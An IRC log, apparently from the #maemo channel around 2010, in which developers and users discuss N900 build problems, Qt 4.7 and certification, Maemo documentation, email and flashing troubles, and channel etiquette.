| 13:56.59 | crashanddie | iuu: so how about you just google that exact error message take the first link, and read what it says? |
| 13:57.07 | crashanddie | iuu: also, learn to read the bloody manual |
| 13:57.07 | iuu | help is appreciated |
| 13:57.09 | lcuk | crashanddie, yet you spend time shouting at him i na less productive manner ;) |
| 13:57.19 | lolloo | me? |
| 13:57.38 | lcuk | lolloo, theres a strange plugin somewhere, but it was disliked by many |
| 13:57.42 | crashanddie | however, maybe you just need to sb-menu, and then select the target you wish to compile for, for example, Fremantle_ARM or whatever the name is |
| 13:58.08 | iuu | im a total newbie :( |
| 13:58.08 | lolloo | the one am using comes with xchat |
| 13:58.14 | iuu | okay.. thanks.. |
| 13:58.17 | lolloo | but it doesn't work |
| 13:58.19 | lolloo | why? |
| 13:58.38 | crashanddie | iuu: being a newbie doesn't deprive you from common sense, or access to google |
| 13:59.02 | crashanddie | lcuk: i know, but it feels gooooood :) |
| 13:59.42 | lcuk | heh |
| 14:00.12 | iuu | crashanddie: yea.. i tried googlin it.. cudnt get a proper answer |
| 14:00.25 | crashanddie | WTF? |
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| 14:01.26 | iuu | yeah.. i felt da same.. |
| 14:01.38 | crashanddie | iuu: I googled "SBOX_CPUTRANSPARENCY_METHOD not set", first result is a TMO thread that explains clearly what you have to do within the 4 first posts, second one is a mailing list, third one is another mailing list result, 4th is IRC in this very channel with the answer as well |
| 14:02.13 | crashanddie | heck, the whole first 3 pages of Google contain the answer |
| 14:04.16 | crashanddie | lcuk: http://logs.nslu2-linux.org/livelogs/maemo/maemo.20081116.txt |
| 14:05.01 | crashanddie | <lcuk810> why am i here? |
| 14:05.07 | _|Nix|_ | Hey! What's going on with the fremantle buildbot? It's been building something called shiboken_0.5.0-1maemo1 since, like, yesterday ... |
| 14:05.16 | crashanddie | <GeneralAntilles> I suppose that wasn't an existential question. |
| 14:05.42 | Khertan | _|Nix|_, do not take care of this blocked build ... everything runs well |
| 14:06.00 | Khertan | _|Nix|_, i thinks it s just a display errors |
| 14:06.09 | Khertan | s/s/ |
| 14:06.39 | _|Nix|_ | Khertan: Oh, OK ... |
| 14:06.40 | lcuk | crashanddie, :) |
| 14:06.49 | lcuk | look at the timestamp of that conversation |
| 14:06.53 | lcuk | and of this picture http://liqbase.net/liq.20081111_012826.gary.scr.png |
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| 14:07.40 | lcuk | that was actually the morning i started on the library |
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| 14:09.07 | crashanddie | lcuk: do you think in a couple thousand years or so, we'll have people going through IRC logs trying to figure out what our customs were? |
| 14:09.38 | lcuk | i do it now :) |
| 14:10.45 | lcuk | it took nearly 2 months to actually get something running you know crashanddie - i carried on hacking in original liqbase for ages |
| 14:10.56 | Jartza | should I become Qt-certified trainer? |
| 14:10.57 | Tu13es | are there any alternative OS's I can install on my n800? |
| 14:10.58 | lcuk | http://liqbase.net/liq.20090102_202719.%28null%29.scr.png |
| 14:11.05 | lcuk | first libliqbase screenshot ;) |
| 14:11.06 | luke-jr | Tu13es: Gentoo |
| 14:11.16 | Tu13es | hm, is there a guide somewhere? |
| 14:11.27 | luke-jr | Tu13es: yes. Google |
| 14:11.27 | Jartza | is the certificate important to companies? |
| 14:11.30 | Tu13es | my linux knowledge is meh at best |
| 14:12.24 | crashanddie | Jartza: don't bother |
| 14:12.26 | crashanddie | jart |
| 14:12.28 | crashanddie | damnit |
| 14:12.47 | crashanddie | Jartza: as with any certification, if a company attaches any importances to it, they'll pay for you to pass it |
| 14:13.15 | crashanddie | but they won't hire you because you have a certification, over you being unqualified |
| 14:13.47 | Jartza | crashanddie: I'm not worried about them hiring me. |
| 14:14.16 | crashanddie | ask yourself the question the other way around: would you want to work for a company that hired/works with you solely based on your qualifications, not your actual expertise? |
| 14:14.20 | Jartza | I just got a proposition to get me the certificate |
| 14:14.35 | crashanddie | if it's free, gfo |
| 14:14.37 | crashanddie | gfi |
| 14:14.56 | Jartza | crashanddie: nope. but I'm aleady teaching Qt, been for a long time. |
| 14:15.18 | crashanddie | well, you decide to show your qualifications later on or not |
| 14:15.22 | Jartza | Imjust don't have the trainer's certificcate |
| 14:15.36 | crashanddie | as long as you're not a dick who prints all his certifications in his email signature ... :P |
| 14:15.40 | Jartza | s/m/ / |
| 14:16.23 | Jartza | crashanddie: don't worry :) I'm teacher :P |
| 14:16.23 | crashanddie | do it |
| 14:16.28 | crashanddie | you'll learn some fun stuff and get some contacts |
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| 14:17.10 | crashanddie | how long is the training? |
| 14:17.24 | Jartza | dunno |
| 14:17.38 | crashanddie | get the school to pay for it |
| 14:17.46 | Jartza | I'm already teaching nokia guys to program with Qt |
| 14:17.46 | crashanddie | (accomodation/food/transport) |
| 14:17.51 | Jartza | :) |
| 14:18.06 | crashanddie | ok, don't say "teacher" if you're not working in a school :P |
| 14:18.13 | Jartza | and Nokia wants me to become certified. |
| 14:18.34 | Jartza | I'm working for school, too. university :) |
| 14:18.41 | crashanddie | lol |
| 14:18.46 | TermanaN900 | Teaching Nokia how to use their own thing. lol :P |
| 14:18.46 | Jartza | and for several companies :) |
| 14:18.56 | crashanddie | TermanaN900: that's a good sign |
| 14:19.11 | alterego | I'd imagine most of their software engineers were Symbian up until now. |
| 14:19.15 | Jartza | TermanaN900: yep. I also participated in maemo-training-material creation :P |
| 14:19.25 | Jartza | though that was for gtk+ |
| 14:19.26 | crashanddie | so we can blame you? |
| 14:19.32 | TermanaN900 | :P |
| 14:19.33 | crashanddie | for the crappiness? |
| 14:19.50 | Jartza | alterego: true. or just c/c++ |
| 14:19.58 | TermanaN900 | crashanddie has just found his new scapegoat |
| 14:20.04 | alterego | Heh |
| 14:20.20 | Jartza | crashanddie: what's crappy? |
| 14:20.27 | alterego | Ah, I helped czr a bit with that :) |
| 14:20.37 | crashanddie | Jartza: dunno, all of it. Most of the documentation for Maemo is notoriously bad. |
| 14:21.00 | crashanddie | Jartza: so the probability that I actually ever looked at anything you made is pretty low |
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| 14:21.24 | TermanaN900 | But hes still going to blame you anyway |
| 14:21.29 | alterego | Hahah |
| 14:21.45 | crashanddie | did i blame him? |
| 14:21.51 | alterego | Sweet, just got the access details :D |
| 14:21.56 | jarkkom | QT side of things isn't that bad but QT SDK is quite buggy |
| 14:22.00 | crashanddie | no, so TermanaN900 go back herding cattle or something. |
| 14:22.06 | Jartza | crashanddie: http://maemo.org/development/training/ |
| 14:22.08 | Jartza | :) |
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| 14:22.46 | Jartza | of course, that material is still backed up by lecturer |
| 14:23.44 | crashanddie | yup, that's the crappy stuff i was talking about... Not the actual material you made, it's well laid out and stuff |
| 14:23.48 | crashanddie | And there is content |
| 14:24.01 | crashanddie | the problem is, that bunch of docs? Doesn't work at all in a project such a maemo |
| 14:24.09 | crashanddie | there aren't any lectures, there aren't any training days |
| 14:24.20 | crashanddie | there are no trainers to help you |
| 14:25.04 | crashanddie | and if I have to read this (which is "node 8", http://maemo.org/development/training/maemo_technology_overview_content/plain_html/node8/) before I actually get down to some code |
| 14:25.37 | crashanddie | (whatever node 8 may mean) |
| 14:26.06 | crashanddie | Jartza: I'm not trying to be rude here, as a course, it makes perfect sense. |
| 14:26.23 | crashanddie | As something that is supposed to grow developers... it's crap -- and that's a Nokia problem. |
| 14:26.26 | Jartza | sure, nokia wished the material to start from basics |
| 14:26.44 | Jartza | of course everythin doesn't apply to everyone |
| 14:27.17 | crashanddie | If you compare that to android... |
| 14:27.29 | Jartza | and unfortunate thing was that nokia only organized the courses for it's own employees and yes, there was atrainer (me) and that material was just a support material |
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| 14:27.53 | Jartza | they still decided to release the material, because it was licensed as cc |
| 14:27.58 | crashanddie | I just googled "android development tutorial", I get 4 easy steps: http://developer.android.com/sdk/index.html, followed by a helloworld tutorial with code, screenshots and a bit of explaining text |
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| 14:28.33 | crashanddie | Jartza: I completely understand the culture Nokia is coming from in that regard |
| 14:28.34 | Jartza | crashanddie: no offense taken :) the maemo-material is no tutorial |
| 14:28.49 | Jartza | it's a course material |
| 14:28.56 | crashanddie | aye |
| 14:29.12 | Jartza | and it's gtk+ :P |
| 14:29.18 | crashanddie | yeah yeah |
| 14:29.33 | Jartza | but yes, you can blame me :) |
| 14:29.38 | jarkkom | most developers starting now should skip maemo stuff and get into Qt SDK anyway |
| 14:29.52 | Jartza | and nokia of course. I just did what they asked :) |
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| 14:30.38 | Jartza | jarkkom: that's what's happening. no-one is interested in maemo as such, or gtk+ at all. only qt. |
| 14:30.58 | Surfa | really? |
| 14:31.11 | Jartza | and that's the reason they want to certify me :P |
| 14:31.23 | Jartza | Surfa: really. at least in finland. |
| 14:31.34 | Surfa | really? :O |
| 14:31.54 | jarkkom | Nokia is all about Meego/Qt these days |
| 14:31.55 | Surfa | good if it's really so |
| 14:32.01 | Jartza | everybody wants meego-courses, even if they don't even seem to know what they wangt :D |
| 14:32.18 | Jartza | but I sell them Qt-courses |
| 14:32.35 | Jartza | that's a start |
| 14:32.59 | crashanddie | I'd like to see free trainings/courses for MeeGo |
| 14:33.28 | Jartza | (currently giving a 2day Qt-course in kajaani, finland) |
| 14:33.47 | Jartza | but. I'm off to dinner. |
| 14:36.29 | MohammadAG51 | crashanddie, PM |
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| 14:40.03 | Khertan | if only in there Qt everywhere they can see there are other language than c++ |
| 14:40.10 | Khertan | s/there/their |
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| 14:42.59 | Elkura32dll | hi all |
| 14:43.41 | Elkura32dll | manual for compiler aplication for maemo 5 nokia n900? |
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| 14:50.49 | MohammadAG51 | disses the N8, you don't have shit over the N900 o/ |
| 14:50.57 | timeless_pidgin | just saw a child trying to attack an e71 |
| 14:51.10 | MohammadAG51 | lil steve? |
| 14:51.17 | timeless_pidgin | He was actually gentler w/ my n900 |
| 14:52.04 | lcuk | timeless_pidgin, have you seen the bluenail girl? |
| 14:52.13 | lcuk | from Nokia World |
| 14:52.25 | timeless_pidgin | So can anyone suggest a soccer game in belfast for tonight? |
| 14:52.37 | timeless_pidgin | Lcuk: what's nokia world? |
| 14:53.05 | lcuk | timeless_pidgin, just stand on the street corner and shout something like "Manchest United are the best team in the world" I am sure some other supporters will step out and have a game with you! |
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| 14:53.34 | timeless_pidgin | Thanks |
| 14:53.45 | timeless_pidgin | feels so unloved |
| 14:55.07 | Mece | hugs timeless_pidgin |
| 14:57.05 | satmd | I can haz hug too? |
| 14:57.08 | satmd | ;) |
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| 14:57.47 | Mece | hugs satmd, to appear objective |
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| 14:57.57 | satmd | :) |
| 15:01.11 | timeless_pidgin | Oh right. .. |
| 15:01.48 | timeless_pidgin | I need to kick pidgin for focus stealing |
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| 15:03.33 | Mece | wow, crazy hamster blows! and frankly, that hamster doesn't seem all that crazy. |
| 15:03.50 | Mece | still, nice with some new games :) |
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| 15:09.29 | MohammadAG51 | wants nautilus on the N900 |
| 15:09.46 | satmd | sighs |
| 15:09.51 | SpeedEvil | The nautilus would indeed be cool. |
| 15:10.04 | SpeedEvil | I want a phone that can work at 20000 leagues beneateh the sea. |
| 15:10.41 | Mece | the n900 can totally do that with a superstrong minisub |
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| 15:13.50 | alterego | Oh nice, Qt 4.7 has been released? |
| 15:13.58 | Mece | it is? |
| 15:14.07 | Mece | for N900 too? |
| 15:14.07 | alterego | Looks like it. |
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| 15:14.27 | Mece | hmm.. guess it's time for pr1.3 then :) |
| 15:14.46 | timeless_pidgin | Officially, that's one thing which comes in our next update |
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| 15:14.57 | Mece | that means qml for the masses :) |
| 15:15.01 | satmd | :D |
| 15:15.02 | alterego | Yes :) |
| 15:15.12 | satmd | will delay today's planned reflash |
| 15:15.22 | alterego | I guess we can hopefully expect PR1.3 in about two months or so .. |
| 15:15.25 | alterego | Hopefully .. |
| 15:15.29 | Mece | timeless_pidgin, yup, I figured as much. |
| 15:15.55 | alterego | "Anssi Vanjoki says using Android is like peeing in your pants for warmth" hahah |
| 15:17.06 | crashanddie | alterego: Which in case of a diver, is bloody important |
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| 15:17.26 | alterego | :) |
| 15:17.30 | crashanddie | alterego: if you've ever surfed in any coldish weather, peeing in your wetsuit is the best thing you can do to keep you warm. |
| 15:17.30 | alterego | And an astronaut |
| 15:17.33 | Mece | well, that depends. qt4.7 was obviously one important part, or actually the most important part, so doesn't have to be to long. not that I have any particular need for a new pr, but nice to see what it contains :) |
| 15:17.48 | alterego | Yeah, I used to windsurf a lot during the winter |
| 15:17.51 | Mece | crashanddie, so.. divers should install nitdroid? |
| 15:18.00 | timeless_pidgin | That's the only headline i know of |
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| 15:18.10 | alterego | Mece: sure, my estimation is more on how long it seems to take their QA testing process ;) |
| 15:18.27 | alterego | Everything else in PR1.3 seems finished. |
| 15:18.37 | Mece | when was pr1.2 released? |
| 15:18.40 | alterego | So depending on how old the 4.7 release source actually is .. |
| 15:18.49 | crashanddie | ~pr1.2 |
| 15:18.49 | infobot | from memory, pr1.2 is available since early Tuesday morning. More information at http://conversations.nokia.com/2010/05/25/nokia-n900-software-update-release-1-2/ -- see ~flashing for how to update |
| 15:18.58 | Mece | ok. thanks |
| 15:18.59 | alterego | I'm guessing they're starting to test about now. |
| 15:19.02 | crashanddie | Mece: Since tuesday! |
| 15:19.11 | crashanddie | could've sworn it was longer than that |
| 15:19.13 | timeless_pidgin | The 4.7 packages i saw were lame |
| 15:19.28 | kfx | the bot didn't specify *which* tuesday |
| 15:19.29 | Mece | timeless_pidgin, lame? O.o |
| 15:19.40 | timeless_pidgin | I'm hoping they'll suck less when shipped |
| 15:19.46 | crashanddie | kfx: the URL gives the date |
| 15:19.51 | Mece | kfx, LOL. oh really? |
| 15:20.05 | kfx | crashanddie: yeah it was a joke |
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| 15:20.17 | crashanddie | not a very good one then :) |
| 15:22.05 | Mece | so pr1.2 was out early week 21 and build was from week 19 |
| 15:22.39 | timeless_pidgin | That'd be the optimistic ship schedule iirc |
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| 15:24.06 | satmd | ~pr1.3 |
| 15:24.06 | infobot | i heard pr1.3 is a ban'able subject now..... |
| 15:24.11 | satmd | o,o |
| 15:24.13 | satmd | hides |
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| 15:27.08 | Khertan | Youhou qt4.7 will be finnally be available for Maemo |
| 15:27.24 | Khertan | it s 3 bug that annoy me too much ! |
| 15:27.34 | Khertan | it s fix 3 bug that annoy me too much ! |
| 15:28.15 | Khertan | yum really sucks |
| 15:28.33 | Khertan | i ve f*ck the rpmdb |
| 15:28.55 | timeless_pidgin | Congratulations |
| 15:29.10 | Khertan | ? |
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| 15:32.27 | timeless_pidgin | On hosing it |
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| 15:33.31 | Khertan | ok ... rpm --rebuilddb < thread died fatal error |
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| 15:34.39 | Khertan | now i really understand why so many claims that it was an error to use rpm tools |
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| 15:35.44 | timeless_pidgin | has corrupted apt's db, it isn't much harder |
| 15:37.17 | rtyler | quick silly question, anybody gotten emails "stuck" in modest's "Outbox" before? |
| 15:37.24 | rtyler | wonders how to get them to bloody send |
| 15:38.01 | timeless_pidgin | Rtyler: frequently this week |
| 15:38.17 | timeless_pidgin | Is it "waiting" or "canceled" or "failed" or? |
| 15:39.54 | rtyler | just sitting there in the outbox |
| 15:39.57 | timeless_pidgin | For waiting, the easiest solution is rebooting, opening mail and connecting to the network |
| 15:40.03 | rtyler | yikes |
| 15:40.15 | timeless_pidgin | It should have a status on the far right side |
| 15:40.36 | timeless_pidgin | It's really just the network going up signal that matters |
| 15:41.03 | timeless_pidgin | But i've been cursing it all week |
| 15:42.19 | timeless_pidgin | You're welcome to experiment. |
| 15:42.32 | timeless_pidgin | Unfortunately a lot of my messages end up "canceled" |
| 15:42.40 | timeless_pidgin | And recovering from that sucks. |
| 15:42.51 | timeless_pidgin | You have to movie it to another folder |
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| 15:42.53 | timeless_pidgin | Open in |
| 15:43.10 | timeless_pidgin | I then reply to all, and unquote the whole message |
| 15:43.16 | timeless_pidgin | And send again |
| 15:44.17 | sivang | hey timeless_pidgin |
| 15:44.27 | timeless_pidgin | Hi |
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| 16:41.30 | satmd | found out how he broke his n900 |
| 16:41.47 | satmd | used the old emmc image instead of the pr1.2 one |
| 16:42.01 | satmd | the nokia download page is confusing |
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| 16:42.12 | satmd | can't they group the list by version? :( |
| 16:49.05 | jpinx-eeepc | satmd: look for the latest ;) Are you working again now? |
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| 16:53.55 | steinex | hmm cant find any infos if meego will support portrait mode for everything from the beginning |
| 16:54.01 | Stskeeps | steinex: want to see a video? |
| 16:54.10 | steinex | yeah |
| 16:54.11 | Stskeeps | sec |
| 16:54.45 | Stskeeps | http://www.youtube.com/watch?v=uO0VoHtVdY8 |
| 16:54.49 | Stskeeps | this is from 7 september |
| 16:54.52 | Stskeeps | a lot has been fixed since |
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| 16:59.16 | satmd | the flasher for windows keeps failing at installing the driver (code 39) |
| 16:59.23 | satmd | so I'll try again later on my pc |
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| 17:00.24 | nidO | are you using win7 x64? |
| 17:03.34 | steinex | Stskeeps: i cant see the guy trying it ;) |
| 17:04.16 | Stskeeps | steinex: it's a girl, i think |
| 17:05.40 | ZogG | satmd you have to get usblive or cdlive with linux - that's all |
| 17:09.45 | satmd | no, happened on win xp 32bit |
| 17:09.57 | satmd | but when I get home, I'm home with my penguins |
| 17:09.58 | satmd | :) |
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| 17:10.42 | timeless_pidgin | Satmd: where's the fun in that? |
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| 17:14.19 | satmd | fun? where? ;) |
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| 17:16.50 | tripzero | squirrel! |
| 17:17.09 | slonopotamus | wonders if timeless_pidgin actually means timeless_pidgin_mbp |
| 17:17.18 | timeless_pidgin | In having a straightforward download page |
| 17:17.43 | timeless_pidgin | _n900 |
| 17:17.51 | timeless_pidgin | @belfast |
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| 17:22.06 | goze | http://www.flickr.com/photos/10185698@N00/4494088129/sizes/l/ |
| 17:22.41 | Stskeeps | crazy |
| 17:22.41 | Stskeeps | :P |
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| 17:23.43 | kerio | goze: wait, what |
| 17:23.48 | kerio | you |
| 17:23.49 | kerio | i |
| 17:23.53 | kerio | D: |
| 17:23.59 | kerio | i don't even |
| 17:25.40 | timeless_pidgin | Grr, ticketmaster.co.uk doesn't like me |
| 17:25.46 | goze | no not me, don't know who |
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| 17:27.14 | satmd | is there a way to say NO to the nokia ovi stuff after first boot? |
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| 17:31.09 | pH5 | satmd: no |
| 17:31.26 | pH5 | see http://wiki.maemo.org/PR1.2_compulsory_My_Nokia_subscription |
| 17:31.26 | satmd | :( |
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| 17:32.17 | pH5 | I think you can boot without a SIM card inserted, make sure that /var/spool/sms/outgoing is empty, and create the ~/.cherry_state file described in the wiki article above to make sure that the activation sms isn't sent. |
| 17:32.22 | goze | kerio: somebody called evilJazz own the picture |
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| 17:54.34 | jacktheripper | how come the ARM Cortex-A8 is clocked at 1Ghz on the iPad and you guys are saying OCing reduces lifetime ? |
| 17:54.52 | Stskeeps | ipad will break from people breaking the glass anyway ;p |
| 17:55.05 | Stskeeps | and we don't say arm cortex-a8, we say omap3 |
| 17:55.24 | timeless_pidgin | kicks ticketmaster: http://www.ticketmaster.co.uk/browse/category=10002?go.x=15&rdc_select=td&type=selected&category=10002&root=10002&go.y=13&tm_link= |
| 17:56.57 | jacktheripper | you mean OCing would reduce lifetime of other components designed for ~600 ? |
| 17:57.08 | goze | someone said that n900 picture is fake |
| 17:58.02 | jacktheripper | and I don't think apple would depend on people breaking their iPads before it fries :P |
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| 17:59.33 | jacktheripper | "The Cortex-A8 core used in the A4 is thought to use performance enhancements developed by chip designer Intrinsity (which was subsequently acquired by Apple)[10] in collaboration with Samsung.[11]" ~http://en.wikipedia.org/wiki/Apple_A4 |
| 17:59.34 | jacktheripper | nvm :D |
| 17:59.53 | RST38h | moos at the moon |
| 18:00.02 | ieatlint | actually the n900 does say arm cortex a8 |
| 18:00.07 | ieatlint | it says it right on the phone in fact |
| 18:00.19 | satmd | indeed |
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| 18:05.19 | RST38h | btw http://www.engadget.com/2010/09/21/qpcs-articulated-naturality-web-looks-to-one-up-augmented-reali/ |
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| 18:08.42 | koud | hello, I am looking for Maemo Desktop SDK Virtual image |
| 18:08.56 | koud | does anyone have a copy? it has been removed from http://tablets-dev.nokia.com/maemo-dev-env-downloads.php |
| 18:09.39 | timeless_pidgin | Things in that site aren't typically licensed for redistribution... |
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| 18:10.24 | koud | so there is no way I can get that image? |
| 18:10.45 | koud | all documentation everywhere points me to that link, but it is not there :( |
| 18:10.48 | timeless_pidgin | Stealing typically works... |
| 18:11.22 | timeless_pidgin | Getting caught or in trouble comes later. |
| 18:11.24 | koud | We are doing some development for n810 in my university, and having that enviorment would greatly help |
| 18:11.45 | koud | well not like I cant steal since It seems to be nowhere... |
| 18:12.01 | timeless_pidgin | ... |
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| 18:12.34 | timeless_pidgin | The point is that if someone else, like me, had it, they probably couldn't legally give it to you. |
| 18:12.38 | koud | I cant find any pressrelease on they removing it for some reason |
| 18:12.55 | koud | I know that |
| 18:13.11 | timeless_pidgin | Find the post announcing it, find the poster, contact them directly. |
| 18:14.00 | timeless_pidgin | ... Why do people ask about things they know are wrong? |
| 18:14.18 | timeless_pidgin | Is that something they teach in university these days? |
| 18:14.39 | koud | timeless_pidgin: what did I ask that was wrong? |
| 18:15.10 | RST38h | hasno problemdownloading that image right off the given url |
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| 18:15.43 | koud | RST38h: you can see the desktop image on that server? |
| 18:15.52 | RST38h | server only |
| 18:15.56 | koud | ah same here.. |
| 18:16.16 | koud | and it is old one |
| 18:16.16 | RST38h | why do you need the desktop? |
| 18:16.26 | koud | because the server one is a pain to configure |
| 18:16.46 | koud | I dont need it, but it would be much better |
| 18:18.19 | koud | timeless_pidgin: just so you know, I never asked for someone to send me it. I was going to ask if someone had one, where they got it from. |
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| 18:19.14 | koud | timeless_pidgin: no need to look down at people.... |
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| 18:20.05 | ieatlint | telling a channel full of geeks not to be elitist and look down at people is wasting your time :P |
| 18:20.53 | ieatlint | it's not like the gestapo is going to knock down your door for downloading something you couldn't pay for and won't be using for commercial purposes |
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| 18:22.20 | ieatlint | oh, huh, qt 4.7 is out |
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| 18:30.42 | MohammadAG51 | who has a Female to Female adapter, an N900, and is a bit experienced with terminal |
| 18:30.50 | SpeedEvil | Ah. |
| 18:30.56 | SpeedEvil | I've lost my f-f adaptor |
| 18:30.58 | SpeedEvil | :/ |
| 18:31.00 | joga | female to female adapter...naughty |
| 18:31.05 | SpeedEvil | I'll see if I can dig it out |
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| 18:34.21 | kfx | I just use tequila for that |
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| 18:35.22 | Stskeeps | mm tequila |
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| 18:43.11 | melanor9 | hey :) |
| 18:43.51 | Noobmonk3y | hey :) |
| 18:43.59 | fnordianslip | MohammadAG51: I've found mine. What do you need? |
| 18:44.10 | Noobmonk3y | MohammadAG51 needs bacon... tis true |
| 18:44.14 | kerio | BACON |
| 18:44.19 | lcuk | agrees |
| 18:44.29 | fnordianslip | he's not having mine |
| 18:45.04 | melanor9 | does anyone have any exp using SDL/gles stuff |
| 18:45.08 | lcuk | me wonders what happened whilst i was walking up a hill |
| 18:45.14 | melanor9 | i am trying to compile StoneSoup Crawl |
| 18:45.24 | Noobmonk3y | lcuk, not much..... |
| 18:45.26 | melanor9 | and got it compiled on armel (it crashes tough ) |
| 18:45.29 | Noobmonk3y | big hill? |
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| 18:45.54 | lcuk | yeah just went wandering with jake and tracy |
| 18:45.59 | crashanddie | just achieved packet injection with the n900 with my own driver |
| 18:46.13 | melanor9 | but i cant do it for x86 target and most likely its because i do miss some stuff |
| 18:46.13 | melanor9 | sbox-FREMANTLE_X86: ~/workdir/crawl-ref/WIZARD/source] > diff -u installed.armel installed.x86 |
| 18:46.13 | melanor9 | --- installed.armel 2010-09-21 19:23:13.000000000 +0100 |
| 18:46.13 | melanor9 | +++ installed.x86 2010-09-21 19:24:01.000000000 +0100 |
| 18:46.13 | melanor9 | @@ -1,4 +1,5 @@ |
| 18:46.17 | RST38h | Stonesoup does notappear to require gles or sdl |
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| 18:46.30 | crashanddie | but then my n900 crashed and it doesn't want to find wifi anymore after reboot |
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| 18:46.37 | melanor9 | where i can get libgles for x86 platform ? |
| 18:46.40 | RST38h | Ah wait it does have a gfxversion, so SDL |
| 18:46.41 | Noobmonk3y | cool! lcuk, i still love the way you two have conversations over twitter :P |
| 18:46.49 | GAN900 | I love how broken ICD2 is. |
| 18:46.58 | crashanddie | MohammadAG51: ^ |
| 18:47.15 | crashanddie | anyway, gf here, off for the night, 'later all |
| 18:47.18 | lcuk | Noobmonk3y, she sms'ed luke whilst we were walking and told him she was climbing everest |
| 18:47.19 | RST38h | melanor9: Whydo you need glesfor Stonesoup? |
| 18:47.25 | Noobmonk3y | hahaha! |
| 18:47.26 | lcuk | it wasnt anything of the like rly |
| 18:47.27 | Noobmonk3y | genius |
| 18:47.39 | Noobmonk3y | my misses has no internet connection, no fb/twitter etc... |
| 18:47.46 | melanor9 | stonesoup SDL version looks great for n900 resolution, thats why |
| 18:47.52 | melanor9 | its rather bland in ascii |
| 18:48.02 | Noobmonk3y | allthough if you like cakes we did cake'tography last night! www.amazingelcakes.com |
| 18:48.21 | lcuk | i saw Noobmonk3y, tracy does big cakes too |
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| 18:48.36 | melanor9 | rst38h: try make -j 8 prefix=/opt SAVEDIR=/home/user/MyDocs/crawl-saves TILES=y GLES=y for armel/x86 |
| 18:48.40 | RST38h | it is sdl indeed, but not gles, the way it looks |
| 18:48.44 | lcuk | those do look delicious tho |
| 18:48.46 | Noobmonk3y | hehe , mandy wants her own cake shop, so each week after the hols she bakes, we do photography, and i'll do the website to get things going :) |
| 18:48.51 | Noobmonk3y | and by god they where! |
| 18:48.54 | Noobmonk3y | got 2 next to me now |
| 18:48.58 | RST38h | melanor9: 1) do not build for x86, it is useless |
| 18:48.59 | crashanddie | melanor9: "-j8"? Seriously? |
| 18:49.02 | melanor9 | it does need gles, cause they use SDL_gl for rendering |
| 18:49.05 | RST38h | melanor9: 2) do GLES=n |
| 18:49.11 | melanor9 | i do run 8 cores :) |
| 18:49.33 | crashanddie | unless you -pipe gcc, I doubt anything over 4 cores will vastly improve performance. |
| 18:49.38 | melanor9 | rst38h: it doesnt matter, as long as GLES declared, it links against it :) |
| 18:49.46 | RST38h | ok undefine it |
| 18:49.50 | crashanddie | (that is, for anything other than the initial compilation) |
| 18:50.04 | Noobmonk3y | lcuk, if we come up your way will have to have a cake testing session ;) - comparison is allways good hehehe |
| 18:50.16 | lcuk | heh |
| 18:50.19 | melanor9 | rst38h: it will fuk up |
| 18:50.20 | melanor9 | wait |
| 18:50.23 | RST38h | try |
| 18:50.25 | lcuk | luke made lasagne today in school |
| 18:50.31 | RST38h | that GLES=y is there for a reason |
| 18:50.34 | lcuk | it tasted more like chili con carne |
| 18:50.43 | lcuk | enjoyed it |
| 18:50.45 | RST38h | and the most likely reason is, it is optional |
| 18:50.45 | Noobmonk3y | hahaha, still edible, good start! |
| 18:51.01 | melanor9 | glwrapper-ogl.cc:374: error: 'GL_FLOAT' was not declared in this scope |
| 18:51.01 | melanor9 | glwrapper-ogl.cc:374: error: 'glVertexPointer' was not declared in this scope |
| 18:51.01 | melanor9 | glwrapper-ogl.cc:377: error: 'glTexCoordPointer' was not declared in this scope |
| 18:51.01 | melanor9 | glwrapper-ogl.cc:380: error: 'GL_UNSIGNED_BYTE' was not declared in this scope |
| 18:51.01 | melanor9 | glwrapper-ogl.cc:380: error: 'glColorPointer' was not declared in this scope |
| 18:51.02 | melanor9 | glwrapper-ogl.cc:385: error: 'GL_TRIANGLE_STRIP' was not declared in this scope |
| 18:51.02 | melanor9 | glwrapper-ogl.cc:386: error: 'GL_UNSIGNED_SHORT' was not declared in this scope |
| 18:51.03 | melanor9 | glwrapper-ogl.cc:386: error: 'glDrawElements' was not declared in this scope |
| 18:51.03 | melanor9 | glwrapper-ogl.cc:389: error: 'GL_LINES' was not declared in this scope |
| 18:51.04 | melanor9 | glwrapper-ogl.cc:389: error: 'glDrawArrays' was not declared in this scope |
| 18:51.04 | melanor9 | make: *** [glwrapper-ogl.o] Error 1 |
| 18:51.05 | melanor9 | make: *** Waiting for unfinished jobs.... |
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| 18:51.08 | *** kick/#maemo [melanor9!~slauwers@Maemo/community/contributor/crashanddie] by crashanddie (melanor9) |
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| 18:51.10 | Noobmonk3y | spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam on toast |
| 18:51.14 | Noobmonk3y | awwwwwwwwww |
| 18:51.15 | RST38h | sighs |
| 18:51.34 | RST38h | [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs |
| 18:51.59 | RST38h | Good chance is, you can ifdef it away, so that it never compiles and runs |
| 18:52.07 | crashanddie | he's kicked |
| 18:52.16 | RST38h | pity |
| 18:52.21 | Noobmonk3y | oh well |
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| 18:52.45 | johnsq | Hi |
| 18:52.53 | kfx | error: /kick was not declared in this scope |
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| 18:53.11 | melanor9 | i keep getting kicked :) havent used IRC for decade |
| 18:53.13 | melanor9 | literally |
| 18:53.32 | lcuk | well before you get banned for another decade, learn to pastebin |
| 18:53.43 | crashanddie | ~pastebin |
| 18:53.43 | infobot | [~pastebin] A "pastebin" is a web-based service where you should paste anything over 3 lines so you don't flood the channel. Here are links to a few : http://www.pastebin.com , http://pastebin.ca , http://channels.debian.net/paste , http://paste.lisp.org , http://bin.cakephp.org/ , http://asterisk.pastey.net/ , or install pastebinit with yum or aptitude. |
| 18:53.50 | melanor9 | ty :) |
| 18:54.09 | Noobmonk3y | lol melanor9 |
| 18:54.14 | Noobmonk3y | smiles at that one |
| 18:54.16 | RST38h | [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs |
| 18:54.20 | Noobmonk3y | twas like a virgin being kicked |
| 18:54.26 | RST38h | Good chance is, you can ifdef it away, so that it never compiles and runs |
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| 18:54.44 | RST38h | If you do need GLES, there is a way to use it,at least for armel binaries |
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| 18:55.37 | melanor9 | rst: i did looked through the sources, they do use SDL_gl, i do need GLES and i got it compiled for ARMEL, but i want to compile and debug for x86 cause i'm rather unfamiliar with armel architecture and it will be a hell to debug a crash |
| 18:56.04 | melanor9 | i need/use GLES and it initializes well and blah-blah |
| 18:56.09 | RST38h | x86 binaries are not representative of how your program will behave on the actual device |
| 18:56.17 | melanor9 | ehhh |
